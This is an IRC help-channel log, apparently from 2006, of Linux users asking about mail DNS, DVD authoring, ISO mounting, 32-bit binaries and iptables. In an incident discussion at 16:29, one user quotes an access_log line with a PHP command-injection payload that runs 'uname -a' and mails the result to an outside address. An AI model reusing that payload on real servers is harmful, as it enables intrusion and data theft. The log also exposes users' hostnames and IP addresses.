(n=bock@dslb-084-057-006-072.pools.arcor-ip.net) left irc: [12:31] hi, can boot be on raid5? [12:34] Piet (i=pietor@gateway/gpg-tor/key-0xC5C71DCE) left irc: [12:37] kml: Hardware or software? [12:37] (yes and probably not are my answers, respectively) [12:41] jwaddell (n=jwaddell@chi.spunge.org) joined #linuxhelp. [12:48] inv_Arp (i=junya@c-71-206-88-100.hsd1.fl.comcast.net) joined #linuxhelp. [12:48] capgadget (n=elifino@adsl-69-149-60-62.dsl.rcsntx.swbell.net) joined #linuxhelp. [12:48] inv_arp[work] (i=junya@c-71-206-88-100.hsd1.fl.comcast.net) joined #linuxhelp. [12:49] seemawn (n=seemawn@dslb-084-058-150-128.pools.arcor-ip.net) left irc: "Naspa- wir können kein Geld, wir können nur billig!" [12:50] yes, it seem like /boot only work with raid1 [12:50] software raid [12:51] The problem is that the bootloader would have to understand raid5 [12:51] whereas raid1's easy to understand [12:51] s/understand/ignore/ [12:54] ulysseslh (n=chatzill@58.207.136.54) joined #linuxhelp. [12:55] i see. [13:02] daniel__ (i=daniel@unaffiliated/daniel) joined #linuxhelp. [13:02] ulysseslh (n=chatzill@58.207.136.54) left irc: "Chatzilla 0.9.77 [Firefox 2.0/2006101022]" [13:05] Ephe-Linux (n=Miranda@cpe-76-174-60-222.socal.res.rr.com) joined #linuxhelp. [13:10] daniel_ (i=daniel@unaffiliated/daniel) left irc: Read error: 60 (Operation timed out) [13:16] ragedragon (n=dragon@lns-bzn-25-82-254-132-119.adsl.proxad.net) left irc: Read error: 110 (Connection timed out) [13:25] ryan-g2 (n=rar-man_@206-248-139-60.dsl.teksavvy.com) joined #linuxhelp. [13:25] how do I setup my server so mail to hotmail, AOL addresses is not blocked? [13:26] I'm using the sendmail binary [13:27] ryan-g2: That's a pretty general question [13:28] In general, make sure you have valid forward and reverse DNS entries, make sure that you send a valid HELO, and make sure that your server's configured properly to deny relaying and not send out spam [13:28] ok [13:28] I'm told SPF records are important [13:28] I can send to other address, btw [13:29] Opinion's somewhat divided on SPF, I think I recall seeing that AOL at least appreciated having them. They're not required though. [13:32] gm152 (n=glen@d150-224-121.home.cgocable.net) joined #linuxhelp. [13:33] gartt_ (n=gart@ip68-0-206-237.ri.ri.cox.net) left irc: Read error: 104 (Connection reset by peer) [13:33] what about rdns? how do I set that up? [13:35] rdns is not setup - could that have caused an issue with hotmail? [13:35] reverse DNS? tell your ISP to set the hostnames, unless you manage the nameservers for your netblock [13:41] so no rDNS could be a problem sending mail to hotmail? [13:41] And other hosts as well, many expect a valid reverse entry. [13:42] and what should the IP resolve too? My site has several different domains. [13:43] DejanH (n=dhalil@84-72-105-41.dclient.hispeed.ch) left irc: Read error: 110 (Connection timed out) [13:45] ryan-g2: The reverse IP should map to the hostname you're using in HELO (and the forward lookup for that name should match your IP) [13:46] for sending mail? [13:46] yes [13:47] ok, that makes sense ;) [13:47] thanks [13:48] np [13:49] is the hostname above the domain of the sender, or the hostname of the sending server? [13:49] rvsjoen (n=xtreme@42.84-48-161.nextgentel.com) joined #linuxhelp. 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[14:28] TL_CLD (n=TL_CLD@cpe.atm2-0-71283.0x535bd556.banxx3.customer.tele.dk) joined #linuxhelp. [14:37] Nick change: _matt -> matt_ [14:41] hi, does anyone uses ututo? [14:42] snmz: Just ask your question [14:43] i cannot download files with firefox on ututo system [14:43] anyone here ever successfully burned a DVD with menus? [14:44] did anyone notice that before? [14:44] CHodapp: Yes, though just by using dvdauthor and hand-editing files [14:45] sekhmet: I am having major issues getting any kind of information on how the hell to use spumux. [14:45] tried dvdstyler, it screws up my menus and they do not display. [14:45] winn2 (n=winn_joh@firewallnat-dnh.democrats.org) joined #linuxhelp. [14:45] tried tovidgui, it randomly chooses a number and renders that many menu items. [14:45] did you use spumux? [14:46] I think so, sec. [14:46] I barely understand the basics of stuff, mostly had just cobbled together commands from teh intarwebs [14:46] that's what I'm trying [14:46] well, DVD-authoring stuffs anyway [14:46] but I'm getting 4 contradictory answers [14:48] Mathman (n=Mathman@jester.cert.ucr.edu) joined #linuxhelp. [14:51] Ah yes, I did [14:51] Finally found the script I had cobbled together [14:51] sec, let me get it pastebin-worthy [14:51] Mathman (n=Mathman@jester.cert.ucr.edu) left irc: Client Quit [14:53] reefer (i=reefer@cc771405-a.ensch1.ov.home.nl) left irc: "Embrace Post-Existentialist Non-Euclideanism! - but only the cool parts." [14:56] spiekey (n=mario@p50809A4E.dip0.t-ipconnect.de) joined #linuxhelp. [14:56] hello [14:56] whats -rw------- in octal? [14:58] spiekey: 600 [14:59] CHodapp: http://pastebin.ca/276973 <- the script [15:00] CHodapp: http://pastebin.ca/276976 <- dvdauthor.xml [15:01] CHodapp: http://pastebin.ca/276978 <- menu_main_spumux.xml [15:01] CHodapp: http://pastebin.ca/276981 <- menu_song_spumux.xml [15:02] different_indentions_for_every_arrow++ [15:06] snmz (n=snmz@85.100.91.192) left irc: "Leaving" [15:07] thanks, I've copied the links and I'll be looking soon [15:07] (sorry got pulled away) [15:07] That had two menus, a main menu and then a submenu to select chapters [15:07] I suppose it may help to have the graphics files I used, too. [15:08] just describe them briefly. [15:09] Well, there's stuff about color depth and all that that I don't remember [15:09] Just privmsg'd you a link, that's everything I have, and the extent of my knowledge [15:09] There's the gimp master files for the menus as well [15:10] Looks like that's geared towards an NTSC video, as well, various options would be different if it was PAL [15:12] I seem to remember it being important that the button overlay file had no more than four colors in its pallette, indexed. [15:13] palette? [15:13] whatever. [15:16] sekhmet: also, you know how to write an ISO instead of actually burning? [15:16] CHodapp: Yeah, the -dvd-video option of mkisofs works well for that [15:17] ubun (i=gt3@cpe-76-174-254-169.socal.res.rr.com) joined #linuxhelp. [15:17] how can i mount a .iso to see it's files virtually (so i dont have to burn it to CD to use it, like you can with 'daemon-tools' in windows)? [15:17] ubun: mount -o loop /path/to/file.iso /path/to/mountpoint [15:17] ubun: Have to be root [15:17] thanks [15:23] dalink0 (n=zhizaki@cpe-66-69-199-86.austin.res.rr.com) left irc: "Session has been terminated by User for any variety of reasons" [15:24] nlight (n=nlight@85.187.188.154) left irc: "Language is the source of great misunderstandings." [15:25] nlight (n=nlight@85.187.188.154) joined #linuxhelp. [15:29] palomer (n=palomer@bas3-montreal02-1096690251.dsl.bell.ca) joined #linuxhelp. [15:29] hello [15:29] how do I get the number of files in a directory? [15:30] palomer: with ls and wc [15:30] thx [15:30] sekhmet: how should i unmount it? [15:30] ubun: umount /path/to/mountpoint [15:30] Like you'd unmount anything else [15:30] =p [15:32] ok, I got an ISO, but the menu doesn't stay... [15:32] spiekey (n=mario@p50809A4E.dip0.t-ipconnect.de) left irc: Remote closed the connection [15:33] CHodapp: Oh speaking of, I also should have mentioned that my script was actually taking an existing DVD and adding a different menu to it (first step rips out the actual MPEG) [15:33] Though you probably noticed that [15:33] I wasn't using that script, I was trying to finish what I was doing in qdvdauthor first [15:33] Well, anyway, now you know. [15:34] DrMitch (n=me@209.159.248.214) joined #linuxhelp. [15:39] weeeee [15:39] palomer (n=palomer@bas3-montreal02-1096690251.dsl.bell.ca) left #linuxhelp ("Leaving"). [15:45] TL_CLD (n=TL_CLD@cpe.atm2-0-71283.0x535bd556.banxx3.customer.tele.dk) left irc: "Konversation terminated!" [15:51] Nick change: daniel__ -> daniel [15:56] DrMitch (n=me@209.159.248.214) left irc: "Leaving" [15:58] Nick change: sugar_magnolia -> gadgetgirl [16:00] lesshaste (n=lesshast@87.112.19.1.bbplus.ptn-ag1.dyn.plus.net) left irc: "Leaving" [16:14] Action: CHodapp walks by, whistling innocently, and walks back carrying an axe [16:15] ragedragon (n=dragon@lns-bzn-25-82-254-132-119.adsl.proxad.net) left irc: Client Quit [16:16] LnxSlck (n=bender@alunos196.wifi.ipb.pt) joined #linuxhelp. [16:18] jwaddell (n=jwaddell@chi.spunge.org) left irc: Remote closed the connection [16:20] is there a debian distro for ps3? [16:20] yes [16:20] i think something based on ubuntu [16:20] not sure though [16:21] seemawn (n=seemawn@dslb-084-058-150-128.pools.arcor-ip.net) joined #linuxhelp. [16:22] ugh, why must GIMP be such a pain in the ass about everything? [16:24] CHodapp, comparing to what ? photoshop ? [16:24] I don't use Photoshop [16:24] Right now I'm trying to get a rectangular border around a layer and I'm finding it freaking impossible [16:25] a rectangle in general would work [16:25] xirjs (n=js@daemon.nethack.at) joined #linuxhelp. [16:25] i have a problem with mutt and char-encoding ... [16:26] on writing new mails i see all the special-chars from german-layouts ... on viewing a mails body i can't see them ... [16:26] any ideas about? [16:28] chable (n=chab@cpc2-nthc11-0-0-cust428.nrth.cable.ntl.com) joined #linuxhelp. [16:28] hi [16:28] hi. [16:28] anyone can help me fix a bug in horde ? [16:29] i found this in access_log [16:29] 65.118.221.67 - - [13/Dec/2006:22:39:16 +0200] "GET //horde//services/help/?show=about&module= ;%22.passthru(%22uname%20-a;uname%20-a%20%7C%20mail%20dragos_bn@yahoo.com%22);'. HTTP/1.1" 404 299 "-" "Nozilla/P.N (Just for IDS woring)" [16:29] and a psybnc on the box [16:29] nkbreau (n=nkbreau@cmr-208-124-143-154.cr.net.cable.rogers.com) joined #linuxhelp. [16:29] hey all [16:30] there is a bug in horde , which allows the attacker to execute commands via a browser , i suppose [16:30] I just unzipped a gz into /opt and one of it's subfolders is /jre/bin... when i do an ls -all the files are in green, but when i try to run any of them it says file not found... any suggestions ?? [16:31] It's extremely odd... because the files are there, I'm sudo'd as root.... i can see them, i can do a cat to dump the file contents but cant run it... [16:31] chable: That says 404, which would mean not found [16:31] chable: It looks like they're attempting to 'sploit something but failing [16:31] then how he got into ? [16:32] coz the psybnc was there [16:32] and he scanned from the box [16:32] nkbreau: 1) what's the filename? 2) paste "ls -l" from the file, 3) paste the line you're trying to use to execute it [16:33] chable: Ah, right, well if there's a psybnc then someone got in somehow. Probably not through that specific Horde vuln though [16:33] xirjs (n=js@daemon.nethack.at) left #linuxhelp. [16:33] chable: If you've found a psybnc then your recommended course of action is: [16:33] 1) Shut down the box [16:33] sekmet: it's /opt/terracotta/jre/bin/java ... there are 10-15 files in there that should all be executable [16:33] 2) Build up a new box, patched as current as possible [16:33] ok [16:33] 3) Do a postmortem on the infected box [16:34] i tried running it from the .sh file and it gave an error that it couldnt find that java files, but its obvisouly there and wont run, says filenotfound [16:34] Or, if you don't care, just wipe the HD and install over the old one (saving data, etc) [16:34] well, says no such file or directory [16:34] ok sekhmet [16:34] thanks [16:34] this was on a fedora core 4 [16:34] chable: The problem is multi-fold: 1) PHP == a gaping security hole, 2) Horde == probably has some holes as well, 3) Something else could have been the method [16:35] jwaddell (n=jwaddell@chi.spunge.org) joined #linuxhelp. [16:35] ls -l shows the file, owned by root as expected... -rwxr-xr-x [16:36] i know that [16:36] when I click the shutdown button appears hibernate, suspend... etc. Several times on old SuSE and SuSE 10.2 i clicked on the hibernat button and latter i should reinstall all my system. I don't know why but that is not my problem. I have my kids that use my computer once and a while. and if they touchted the suspend button,i think i will through away my compture and return back to using paper and pencil. MY question: how c [16:36] an i delete the hibernat and suspend button from my menu, using SuSE 10.2 and Gnome. [16:36] the thing is that the box is not mine [16:36] and my friend is in panic [16:37] chable: Yeah, I dig, it happens. Box shutdown plus reinstall-to-a-clean-HD-and-patch is the only Totally Safe way to go though [16:37] seemawn (n=seemawn@dslb-084-058-150-128.pools.arcor-ip.net) left irc: "Naspa- wir können kein Geld, wir können nur billig!" [16:37] ok [16:37] the hacker was lame , he didnt got uid0 [16:37] just install a psy and scanned from the box [16:38] chable: Or, he's very good, and left behind some evidence to make you think you're safe [16:38] lol [16:38] As always, your (or your friend's) call [16:39] he`s not [16:39] i got his addy also [16:39] some .ro [16:39] Action: sekhmet shrugs [16:39] yeah [16:39] any ideas ? [16:40] nkbreau: Possibly, if you'd do what I asked you to [16:40] LnxSlck (n=bender@alunos196.wifi.ipb.pt) left irc: "Leaving" [16:40] i though i did... [16:40] i will make it simple. How can i delete the shutdown button from Gnome menu (suse 10.2). [16:40] blaylock (n=seth@snap.helixsystems.com) left irc: "Leaving" [16:41] :) [16:41] right click [16:41] Shadowpillar (n=Shadow@dialup-4.232.9.157.Dial1.LosAngeles1.Level3.net) joined #linuxhelp. [16:41] remove from panel [16:41] ls -l shows the file, owned by root as expected... -rwxr-xr-x, doing ./java to try and run it, filename is "java" and shows up as green in the terminal [16:42] i just rm -rdf 'd the folder and unzip/untar'd the app (terracotta) again but didnt seem to help [16:43] sphenxes have you looked in /etc/gdm/gdm.conf? [16:43] what's 'file java' say? [16:43] jwaddell, no but i will take a look know [16:43] thanks [16:44] nkbreau: I take it that "java" is a shell script (since you said you could "cat" it), is that the case? [16:44] (I find it a bit odd that the command you're supposed to use is "java," too) [16:44] no, it's just binary that get pumped out... i wanted to see if i could do anything else with the file [16:45] terracotta is a container application used to spread the jvm across multiple machines, hence it has a jre/bin folder of it's own [16:45] ninjak (n=ninjak@adsl-ull-132-148.41-151.net24.it) left irc: "Sto andando via" [16:46] the sample-app.sh in the sample folder, and all the .sh commands in the tc/bin folder are complaining about file not found and pointing to that java file (with the full path) [16:46] so i went to the file in terminal and tryied ./java and it says the file does not exist [16:47] even though i can see it via ls -all and 'cat ./java' prints the contents of the file (jibberish) [16:47] as expected. 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[16:48] e` (n=e@rrcs-24-105-158-115.nyc.biz.rr.com) got netsplit. [16:48] juice (i=1000@mo-76-0-46-199.dhcp.embarqhsd.net) got netsplit. [16:48] gnychis (n=gnychis@THORIUM-INI.INI.CMU.EDU) got netsplit. [16:48] aedigital (n=aedigita@200-168-147-186.dsl.telesp.net.br) got netsplit. [16:48] spike (n=spike@unaffiliated/spike) got netsplit. [16:48] -rwxr-xr-x owned and grp 'root' [16:48] and if you do "file ./java" what do you get [16:48] no such file or dir [16:49] and if you od "file ./java*" what do you get [16:49] gnychis (n=gnychis@THORIUM-INI.INI.CMU.EDU) returned to #linuxhelp. [16:49] od ? [16:49] do [16:49] ah :) [16:49] prints a bunch of stiff... ELF 32-bit LSB... [16:50] the file name isn't java it's java(with some unprintable character here) [16:50] ejovrh (n=ejovrh@83.243.112.113) left irc: Read error: 104 (Connection reset by peer) [16:50] no wait [16:50] CHodapp (n=angel@cpe-75-179-155-26.woh.res.rr.com) returned to #linuxhelp. [16:50] spike (n=spike@unaffiliated/spike) returned to #linuxhelp. [16:50] 4 entries came back, but for 4 different filesnames [16:50] ejovrh (n=ejovrh@83.243.112.113) joined #linuxhelp. [16:50] all with java in them [16:50] prgmrchris (i=chris@jerkface.org) returned to #linuxhelp. [16:50] the first entry is ./java [16:51] ok were any of them just "java"? [16:51] java, javac, java_vm and javaws [16:51] what does javac do when you do "./javac"? [16:51] all files in this folder have the same issue [16:51] nedz (n=nedz@68-188-91-89.dhcp.stls.mo.charter.com) returned to #linuxhelp. [16:51] they all say "no such file or directory" [16:52] what's the output from "ls -l" on this directory? [16:52] lists all the files [16:52] what does 'file java' say? [16:52] it lists the one file [16:52] file java [16:52] give the exact output [16:54] Grommet (n=grommet@74.134.138.78) got lost in the net-split. [16:54] sethk (n=seth@amethyst.cql.com) got lost in the net-split. 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[16:54] ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV) for GNU/Linux 2.2.5, dynamically linked (uses shared lib), for GNU/Linux 2.2.5, stripped [16:56] nkbreau please give me the exact output of "ls -l java" [16:57] -rwxr-xr-x 1 root root 65076 2006-10-04 19:03 java [16:57] with java in green... :) [16:57] nkbreau please give the exact output of "data" [16:57] "date" not "data" [16:58] why would that matter? [16:58] Tue Dec 12 18:44:19 AST 2006 [16:58] it's something in the executable format that keeps it from running [16:59] nkbreau sometimes people get a binary or other file that is dated in the future and it causes wierd problems [16:59] actually... I'm running a 64 bit (2 quadcore) machine.... [16:59] YOU THINK MAYBE THAT'S IT? [16:59] e` (n=e@rrcs-24-105-158-115.nyc.biz.rr.com) joined #linuxhelp. [16:59] Given that your binaries are 32-bit and all [17:00] awol (i=awol@58.160.152.55) joined #linuxhelp. [17:00] Grommet (n=grommet@74.134.138.78) joined #linuxhelp. [17:00] sethk (n=seth@amethyst.cql.com) joined #linuxhelp. [17:00] iratsu (n=iratsu@modemcable157.255-37-24.mc.videotron.ca) joined #linuxhelp. [17:00] Nate_Grey (n=byte@c-68-34-118-228.hsd1.md.comcast.net) joined #linuxhelp. [17:00] uniplex (n=uniplex@pdpc/supporter/silver/uniplex) joined #linuxhelp. [17:00] paster (n=paster@rzlab.ucr.edu) joined #linuxhelp. [17:00] aedigital (n=aedigita@200-168-147-186.dsl.telesp.net.br) joined #linuxhelp. [17:00] juice (i=1000@mo-76-0-46-199.dhcp.embarqhsd.net) joined #linuxhelp. [17:00] 32 bit java runs on 64 bit though... [17:00] 32 bit binaries run on 64 bit? [17:00] not without a chroot or some kind of wrapper. [17:00] don't you need an emulation mode? [17:00] so you think thats the prob ? [17:00] Nate_Grey (n=byte@c-68-34-118-228.hsd1.md.comcast.net) left irc: Connection timed out [17:00] sethk (n=seth@amethyst.cql.com) left irc: Connection timed out [17:01] nkbreau do you have qemu? [17:01] qemu ? i dont know what it is so probably not... [17:01] the emulation is in the kernel [17:01] sethk (n=seth@amethyst.cql.com) joined #linuxhelp. [17:01] Nate_Grey (n=byte@c-68-34-118-228.hsd1.md.comcast.net) joined #linuxhelp. [17:01] qemu is an emulator (like xen or vwmare) that you could try that binary in and you would know if the 32 bittedness is the problem [17:01] paster (n=paster@rzlab.ucr.edu) left irc: Connection timed out [17:02] ok, doesnt seem to be installed [17:02] qemu is a very drawn-out way to test [17:02] Action: sekhmet hugs his 32-bit CPU [17:02] you need a full Linux distro [17:02] i'm running ubuntu [17:02] uniplex (n=uniplex@pdpc/supporter/silver/uniplex) got netsplit. [17:02] Grommet (n=grommet@74.134.138.78) got netsplit. [17:02] juice (i=1000@mo-76-0-46-199.dhcp.embarqhsd.net) got netsplit. [17:02] aedigital (n=aedigita@200-168-147-186.dsl.telesp.net.br) got netsplit. [17:02] iratsu (n=iratsu@modemcable157.255-37-24.mc.videotron.ca) got netsplit. [17:02] CRXLPY (n=al_h@c-68-52-240-189.hsd1.tn.comcast.net) joined #linuxhelp. [17:02] CHodapp i've not had the chance to play with 64-bit stuff for a long long time...would you care to enlighten me as to how it is intended to work? [17:03] hi guys [17:03] paster (n=paster@rzlab.ucr.edu) joined #linuxhelp. [17:03] jwaddell: the way I run 32-bit stuff is in a 32-bit chroot which uses kernel emulation [17:03] hmmm but why would it say file doesnt exist ? [17:03] jwaddell: there are other ways, which I'm not too sure about, which involve wrappers and such [17:03] wouldnt it give some other error ? [17:03] nkbreau qemu would be a fairly drawn out process to test those binaries which might be fun and enlightening [17:04] nkbreau: that's what it does when the kernel won't accept binaries in the wrong forat [17:04] s/forat/format/ [17:04] I would like some advice on the possibility of resizing my ntfs and reiserfs parts, would anyone be familiar with that? [17:04] nkbreau you are attempting to execute the file and it's not there for that [17:04] suckie. [17:04] CRXLPY: resizing NTFS in Linux is a fast way to destroy it [17:05] I would resize ntfs from windows if possible [17:05] chodapp so just doing a chroot is sufficient or is there a set of 32-bit tools (i.e. a distro) lurking there that you chroot into? [17:05] jwaddell: for me, it's basically a full distro because of all the support libraries needed [17:05] musya (n=musya@64.185.115.16) joined #linuxhelp. [17:06] how do i open up port 22 on my computer? i have ssh installed but i cant ssh into it, the firewall is all set up right [17:06] wildwrk (n=jawildma@65.43.29.90) joined #linuxhelp. [17:06] chodapp thanks for the info... [17:06] gotta run...see y'all [17:06] musya: Start the ssh daemon [17:07] how do you do that? [17:07] musya: Check your distro's docs for starting services [17:07] my ntfs is hda2 and my 1st linux part is hda5 , I would like to shrink the windows part and make a reiserfs in the resulting space [17:07] musya: Though you'll end up using an init script [17:07] is that possible CHodapp? [17:07] what windows manager (gdm??) is comming with gnome SuSE 10.2? or how can I know the window manager on my system (gnome)? [17:07] ok.... how do i start it? [17:08] Grommet (n=grommet@74.134.138.78) got lost in the net-split. [17:08] iratsu (n=iratsu@modemcable157.255-37-24.mc.videotron.ca) got lost in the net-split. [17:08] uniplex (n=uniplex@pdpc/supporter/silver/uniplex) got lost in the net-split. [17:08] aedigital (n=aedigita@200-168-147-186.dsl.telesp.net.br) got lost in the net-split. [17:08] juice (i=1000@mo-76-0-46-199.dhcp.embarqhsd.net) got lost in the net-split. [17:08] jwaddell (n=jwaddell@chi.spunge.org) left irc: "[BX] Reserve your copy of BitchX-1.0c19 for the Nintendo Gameboy today!" [17:09] musya: I suggest you Google for "start service " [17:10] Jesse42- (i=jesse@sifl.digivill.net) joined #linuxhelp. [17:10] anyone know how to setup pxeboot/kickstart server? [17:10] musya (n=musya@64.185.115.16) left #linuxhelp ("Kopete 0.12.2 : http://kopete.kde.org"). [17:11] der0b (n=s0d_0ff@c-24-63-35-182.hsd1.ma.comcast.net) joined #linuxhelp. [17:12] Jesse42-: I've asked the same question a little while ago, they said they know [17:13] heh [17:13] ok... [17:14] spike u trying to make a kickstart server? [17:16] uniplex (i=izwbtve5@wsip-70-168-213-195.hr.hr.cox.net) joined #linuxhelp. [17:16] virsys (n=virsys@or-71-53-65-55.dhcp.embarqhsd.net) joined #linuxhelp. [17:16] juice (i=1000@mo-76-0-46-199.dhcp.embarqhsd.net) joined #linuxhelp. [17:17] iratsu (n=iratsu@modemcable157.255-37-24.mc.videotron.ca) joined #linuxhelp. [17:23] anyone knows how to add a rule in iptables , for an single ip ? [17:24] port i mean [17:24] not ip [17:24] i want to allow all connections on 28485 [17:24] chable: plenty of google examples.. [17:24] :) [17:25] google what ? [17:25] yah chable [17:25] iptables allow port [17:25] thank you [17:26] Jesse42- (i=jesse@sifl.digivill.net) left irc: "BitchX: its magically delicious!" [17:26] hah [17:26] ptables -A INPUT -p tcp --dport 22 -j ACCEPT [17:26] im lame [17:26] thanks [17:27] this rule will apply on the next reboot ? [17:27] or ill have to add it again ? [17:27] Action: CHodapp jumps on the table and dances, because his freaking DVD finally works, with menus [17:28] Gijon (n=gijon@alunos196.wifi.ipb.pt) joined #linuxhelp. [17:28] amphi (n=amphi@88-110-164-146.dynamic.dsl.as9105.com) joined #linuxhelp. [17:29] brb [17:29] Lazydog (n=Lazydog@dynamic-acs-24-154-13-41.zoominternet.net) joined #linuxhelp. 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[18:08] usn_work (n=usn@p5493194E.dip0.t-ipconnect.de) left irc: Read error: 104 (Connection reset by peer) [18:10] howdy. anyone fancy themselves as a good cook? off topic I know. but I've been assigned ham this christmas. not that I even go with that whole wierdness, but hey, it's a family thing. anyhow, message me please if you want to talk shop. [18:10] Gijon (n=gijon@alunos196.wifi.ipb.pt) left irc: [18:12] mmmh ham [18:15] Mathman: maaaaaaaaaaaaaaan [18:17] war95 (n=war@iniquity.net) left irc: Remote closed the connection [18:19] bla (i=bla@gateway/tor/x-2aa0c408d86d953e) joined #linuxhelp. [18:23] ejovrh (n=ejovrh@83.243.112.113) left irc: Read error: 110 (Connection timed out) [18:24] Mathman: find a Honeybaked Ham place locally and buy one. [18:25] bla (i=bla@gateway/tor/x-2aa0c408d86d953e) left irc: Remote closed the connection [18:26] rvsjoen (n=xtreme@42.84-48-161.nextgentel.com) left irc: Connection timed out [18:27] nkbreau (n=nkbreau@cmr-208-124-143-154.cr.net.cable.rogers.com) left irc: [18:28] well , its sorted [18:28] it was no bug , just a lame "code" [18:28] that tries default user/pass [18:28] on ssh [18:28] johnzorn (n=jz@modemcable191.130-37-24.mc.videotron.ca) joined #linuxhelp. [18:29] Action: chable is away : unos.dos ./trace [18:30] chable: get rid of that public away please, it's against the netiquette [18:30] i know , but its not my box [18:30] i told him to solve the problem [18:30] oh [18:30] sorry [18:30] i read public key [18:31] im gone now , thaks for help . [18:31] chable (n=chab@cpc2-nthc11-0-0-cust428.nrth.cable.ntl.com) left #linuxhelp ("bye"). [18:40] xp_prg (i=[EN3YBd2@bolt.sonic.net) joined #linuxhelp. [18:41] CHodapp: yeah, seems to be the concensus I guess (pardon my spelling perhaps) [18:41] Nick change: XandriX- -> XandriX [18:42] spike, you sob. where you at? [18:42] =) [18:42] irvken (n=sean@82-40-160-124.cable.ubr01.hawk.blueyonder.co.uk) left irc: "Leaving" [18:43] DrMitch (n=me@209.159.248.214) joined #linuxhelp. [18:43] ham peas and chips [18:43] bwuhahaha [18:43] aedigital (n=aedigita@200-168-147-186.dsl.telesp.net.br) joined #linuxhelp. [18:44] Action: spike corrupted by english sh*te^W cousine [18:44] cuisine* [18:44] Mathman: stuffed ham [18:45] Action: CHodapp glares at DVD, DVD player, DVD-ROM, and software [18:45] you basically make a stuffed ham like you'd make a stuffed chicken [18:45] heh, jalepenos? [18:46] how do i create a tar archive and erase ownership of the files? [18:47] so i can distribute the files to other people [18:47] copy it to a fat32 filesystem first? [18:47] yuck [18:47] sorry. while that may work, that's just me being silly [18:48] mmmh, jalapenos, yummy [18:48] unix though, you never really erase ownership [18:48] someone always owns the files [18:48] our at least they always have a uid and gid associated with them I guess [18:49] but when i extract a tar.gz file that i download, my user takes ownership [18:49] granted that uid and whatnot may or may not translate to something in /etc/passwd or whatever [18:49] DrMitch: of course. your use is probably the one doing the extracting [18:49] why would you want that to be different? [18:50] oops. your user is probably the one doing the extracting I mean [18:50] so if i tar up a few files owned by foo:users, and someone (foo2) on a different computer extracts that tar.gz, the files will be owned by foo2:users ? [18:52] DrMitch: you probably go with the -a option or some such nonsense. as in archive. that would save permissions and whatnot. course then you'd need to extract the junk as root I'm sure [18:52] Anarch (i=[7hC9xBI@c-24-17-240-95.hsd1.mn.comcast.net) joined #linuxhelp. [18:52] but i DONT want the user.group to be saved [18:52] i want the files extracted to be owned by the user that extracts them [18:53] so right. just tar -xjvf or whatever. you should be good [18:53] k [18:53] thanks [18:53] DrMitch (n=me@209.159.248.214) left irc: "Leaving" [18:54] heh, well, beating a dead horse here, if you think about it, how would some regular user be able to create files that are owned by another user [18:54] that would be kinda silly [18:55] awhappd (n=giawhapp@169.232.148.134) left irc: Remote closed the connection [19:03] macka (n=mackenzi@slholi.lnk.telstra.net) joined #linuxhelp. [19:04] how would I go about changing the TIME_WAIT on linux? I forgot... [19:13] xp_prg3 (i=[BFBpicf@bolt.sonic.net) joined #linuxhelp. [19:13] anyone know how to find an ip address with only a mac address, I know it is arp something [19:16] Mathman (n=Mathman@66-215-218-35.dhcp.rvsd.ca.charter.com) left irc: "Leaving" [19:19] soobnauce (i=soobnauc@c-71-60-50-68.hsd1.pa.comcast.net) joined #linuxhelp. [19:22] venger (n=armedbla@cpe-065-190-079-147.triad.res.rr.com) joined #linuxhelp. [19:23] Does anyone have a suggestion if I want to become my own mail server, meaning I want to registrar a domain and handle the services on my end with no need for storage services. I assume I need a domain and a MX record. [19:28] soobnauce (i=soobnauc@c-71-60-50-68.hsd1.pa.comcast.net) left irc: [19:37] snap-l (i=craig@adsl-69-209-176-174.dsl.sfldmi.ameritech.net) joined #linuxhelp. [19:49] rvsjoen (n=xtreme@39.84-48-174.nextgentel.com) joined #linuxhelp. [19:56] anyone know if there are other tricks to create static dhcp hosts with dnsmasq other than to add "xx:xx:xx:xx:xx:xx 192.168.2.50" do /etc/ethers and restart dnsmasq ? [19:57] AcTiVaTe (n=activate@activate.demon.nl) joined #linuxhelp. [19:58] macka (n=mackenzi@slholi.lnk.telstra.net) left #linuxhelp. [19:59] rvsjoen (n=xtreme@39.84-48-174.nextgentel.com) left irc: Read error: 131 (Connection reset by peer) [20:00] snap-l (i=craig@adsl-69-209-176-174.dsl.sfldmi.ameritech.net) left irc: "leaving" [20:00] snap-l (i=craig@adsl-69-209-176-174.dsl.sfldmi.ameritech.net) joined #linuxhelp. [20:03] AcTiVaTe (n=activate@activate.demon.nl) left irc: Remote closed the connection [20:05] dtm (n=dtm@txwifi.hyperusa.com) joined #linuxhelp. [20:05] hi [20:05] do you guys know offhand of a copybot type thing that can make a nick or channel appear in multiple channels? [20:05] or a bot that can proxy SMS text messages via email or whatever into irc [20:12] idaho45 (n=idaho@201.243.30.36) joined #linuxhelp. [20:16] Anarch (i=[7hC9xBI@c-24-17-240-95.hsd1.mn.comcast.net) left irc: "leaving" [20:20] btartsa (n=btartsa@c-24-21-132-66.hsd1.mn.comcast.net) joined #linuxhelp. [20:24] ryan-g2 (n=rar-man_@206-248-139-60.dsl.teksavvy.com) left #linuxhelp. [20:32] sphenxes (n=sphenxes@83-65-242-127.dynamic.xdsl-line.inode.at) left irc: "Leaving" [20:38] lkthomas (n=lkthomas@202.85.228.3) left irc: Remote closed the connection [20:38] rvsjoen (n=xtreme@39.84-48-174.nextgentel.com) joined #linuxhelp. [20:39] I'm having some ssh issues with a changed RSA key in known_hosts... how can I figure out which entry in known_hosts I need to delete to update the key ? [20:40] i'd hate to delete the whole file.. [20:42] ssh should report which host on which line [20:42] hehe, there it is, missed it among all the other text :) [20:44] it happens :) [20:51] xp_prg3 (i=[BFBpicf@bolt.sonic.net) left irc: Remote closed the connection [20:58] devian (i=devian@hd5e2727d.gavlegardarna.gavle.to) joined #linuxhelp. [20:59] how do I (easyest way) change screenmode in X? [21:06] Romster (i=romster@gateway/tor/x-c1b1a8a665237cb7) joined #linuxhelp. [21:09] devian (i=devian@hd5e2727d.gavlegardarna.gavle.to) left irc: Remote closed the connection [21:23] rvsjoen (n=xtreme@39.84-48-174.nextgentel.com) left irc: Read error: 104 (Connection reset by peer) [21:23] for exim4 setup if I send mail to an account on my mailserver I get a 550 relay not permitted and a unknown user error. I'm using dyndns.org with a MX record. Do I need to make an alias to match up the system account "user" as "user@dyndns.org" ? [21:25] or lets say its user@host.dyndns.org [21:26] snap-l (i=craig@adsl-69-209-176-174.dsl.sfldmi.ameritech.net) left irc: "Night all" [21:36] TheBonsai (n=bonsai@unaffiliated/TheBonsai) left irc: Read error: 110 (Connection timed out) [21:38] TheBonsai (n=bonsai@unaffiliated/TheBonsai) joined #linuxhelp. [21:46] alunduil 